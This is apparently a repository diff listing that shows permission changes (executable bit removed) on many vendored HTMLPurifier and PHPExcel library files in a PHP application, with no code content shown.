application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveProcessingInstructions.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveScriptContents.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Filter.Custom.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Escaping.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Scope.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.TidyImpl.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Filter.YouTube.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.Allowed.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedAttributes.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedComments.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedCommentsRegexp.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedElements.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedModules.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.Attr.Name.UseCDATA.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.BlockWrapper.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.CoreModules.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.CustomDoctype.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionID.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionRev.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.Doctype.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.FlashAllowFullScreen.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenAttributes.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenElements.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.MaxImgLength.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.Nofollow.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.Parent.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.Proprietary.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeEmbed.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeIframe.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeObject.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeScripting.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.Strict.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.TargetBlank.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyAdd.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyLevel.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyRemove.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.Trusted.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/HTML.XHTML.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Output.CommentScriptContents.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Output.FixInnerHTML.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Output.FlashCompat.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Output.Newline.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Output.SortAttr.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Output.TidyFormat.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Test.ForceNoIconv.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/URI.AllowedSchemes.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/URI.Base.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/URI.DefaultScheme.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionID.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionRev.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/URI.Disable.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternal.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternalResources.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/URI.DisableResources.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/URI.Host.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/URI.HostBlacklist.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/URI.MakeAbsolute.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/URI.Munge.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/URI.MungeResources.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/URI.MungeSecretKey.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/URI.OverrideAllowedSchemes.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/URI.SafeIframeRegexp.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/info.ini
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/DefinitionCache/Decorator.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/DefinitionCache/Decorator/Memory.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/DefinitionCache/Decorator/Template.php.in
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/DefinitionCache/Null.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/DefinitionCache/Serializer.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/DefinitionCacheFactory.php
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/EntityLookup/entities.ser
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/Filter/ExtractStyleBlocks.php
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/HTMLModule/CommonAttributes.php
100755 → 100644
File mode changed
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/HTMLModule/Hypertext.php
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php
100755 → 100644
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/HTMLModule/Presentation.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/HTMLModule/Proprietary.php
100755 → 100644
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/HTMLModule/SafeEmbed.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/HTMLModule/SafeObject.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/HTMLModule/SafeScripting.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/HTMLModule/Scripting.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/HTMLModule/StyleAttribute.php
100755 → 100644
File mode changed
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/HTMLModule/TargetBlank.php
100755 → 100644
File mode changed
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/HTMLModule/Tidy/Name.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/HTMLModule/Tidy/Proprietary.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/HTMLModule/Tidy/Strict.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/HTMLModule/Tidy/Transitional.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/HTMLModule/Tidy/XHTML.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/HTMLModule/XMLCommonAttributes.php
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/Injector/AutoParagraph.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/Injector/DisplayLinkURI.php
100755 → 100644
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/Injector/PurifierLinkify.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/Injector/RemoveEmpty.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/Injector/RemoveSpansWithoutAttributes.php
100755 → 100644
File mode changed
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/Language/classes/en-x-test.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/Language/messages/en-x-test.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/Language/messages/en-x-testmini.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/Language/messages/en.php
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/Printer/CSSDefinition.php
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/Printer/HTMLDefinition.php
100755 → 100644
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/PropertyListIterator.php
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/Strategy/MakeWellFormed.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/Strategy/RemoveForeignElements.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/Strategy/ValidateAttributes.php
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/URIFilter/DisableExternal.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/URIFilter/DisableExternalResources.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/URIFilter/DisableResources.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/URIFilter/HostBlacklist.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/URIFilter/MakeAbsolute.php
100755 → 100644
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/URIFilter/SafeIframe.php
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Autoloader.php
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/CalcEngine/Logger.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Calculation.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Calculation/Database.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Calculation/DateTime.php
100755 → 100644
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/Calculation/Exception.php
100755 → 100644
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/Calculation/Financial.php
100755 → 100644
File mode changed
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/Calculation/Function.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Calculation/Functions.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Calculation/Logical.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Calculation/LookupRef.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Calculation/MathTrig.php
100755 → 100644
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/Calculation/TextData.php
100755 → 100644
File mode changed
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/Cell.php
100755 → 100644
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/Cell/DataType.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Cell/DataValidation.php
100755 → 100644
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/Cell/Hyperlink.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Cell/IValueBinder.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Chart.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Chart/DataSeries.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Chart/DataSeriesValues.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Chart/Exception.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Chart/Layout.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Chart/Legend.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Chart/PlotArea.php
100755 → 100644
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/Chart/Renderer/jpgraph.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Chart/Title.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Comment.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/DocumentProperties.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/DocumentSecurity.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Exception.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/HashTable.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/IComparable.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/IOFactory.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/NamedRange.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Reader/Abstract.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Reader/CSV.php
100755 → 100644
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/Reader/Excel2003XML.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Reader/Excel2007.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Reader/Excel2007/Chart.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Reader/Excel2007/Theme.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Reader/Excel5.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Reader/Excel5/Escher.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Reader/Exception.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Reader/Gnumeric.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Reader/HTML.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Reader/IReadFilter.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Reader/IReader.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Reader/OOCalc.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Reader/SYLK.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/ReferenceHelper.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/RichText.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/RichText/ITextElement.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/RichText/Run.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/RichText/TextElement.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Settings.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Shared/CodePage.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Shared/Date.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Shared/Drawing.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Shared/Escher.php
100755 → 100644
File mode changed
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/Shared/Escher/DgContainer/SpgrContainer/SpContainer.php
100755 → 100644
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/Shared/Escher/DggContainer/BstoreContainer.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Shared/Escher/DggContainer/BstoreContainer/BSE.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Shared/Escher/DggContainer/BstoreContainer/BSE/Blip.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Shared/Excel5.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Shared/File.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Shared/Font.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Shared/JAMA/CHANGELOG.TXT
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/Shared/JAMA/Matrix.php
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/Shared/OLE.php
100755 → 100644
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/Shared/OLE/PPS.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Shared/OLE/PPS/File.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Shared/OLE/PPS/Root.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Shared/OLERead.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Shared/PCLZip/gnu-lgpl.txt
100755 → 100644
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/Shared/PCLZip/readme.txt
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Shared/PasswordHasher.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Shared/String.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Shared/TimeZone.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Shared/XMLWriter.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Shared/ZipArchive.php
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/Style.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Style/Alignment.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Style/Border.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Style/Borders.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Style/Color.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Style/Conditional.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Style/Fill.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Style/Font.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Style/NumberFormat.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Style/Protection.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Style/Supervisor.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Worksheet.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Worksheet/AutoFilter.php
100755 → 100644
File mode changed
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/Worksheet/BaseDrawing.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Worksheet/CellIterator.php
100755 → 100644
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/Worksheet/Drawing.php
100755 → 100644
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/Worksheet/HeaderFooter.php
100755 → 100644
File mode changed
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/Worksheet/PageMargins.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Worksheet/PageSetup.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Worksheet/Protection.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Worksheet/Row.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Worksheet/RowDimension.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Worksheet/RowIterator.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Worksheet/SheetView.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/WorksheetIterator.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Writer/Abstract.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Writer/CSV.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Writer/Excel2007.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Writer/Excel2007/Chart.php
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/Writer/Excel2007/Rels.php
100755 → 100644
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/Writer/Excel2007/Style.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Writer/Excel2007/Theme.php
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/Writer/Excel5.php
100755 → 100644
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/Writer/Excel5/Escher.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Writer/Excel5/Font.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Writer/Excel5/Parser.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Writer/Excel5/Workbook.php
100755 → 100644
File mode changed
File mode changed
application/app/lib/phpexcel/PHPExcel/Writer/Excel5/Xf.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Writer/Exception.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Writer/HTML.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Writer/IWriter.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Writer/PDF.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Writer/PDF/Core.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Writer/PDF/DomPDF.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Writer/PDF/mPDF.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/Writer/PDF/tcPDF.php
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/cs/config
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/cs/functions
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/da/config
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/da/functions
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/de/config
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/de/functions
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/en/uk/config
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/es/config
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/es/functions
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/fi/config
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/fi/functions
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/fr/config
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/fr/functions
100755 → 100644
File mode changed
application/app/lib/phpexcel/PHPExcel/locale/hu/config
100755 → 100644
File mode changed
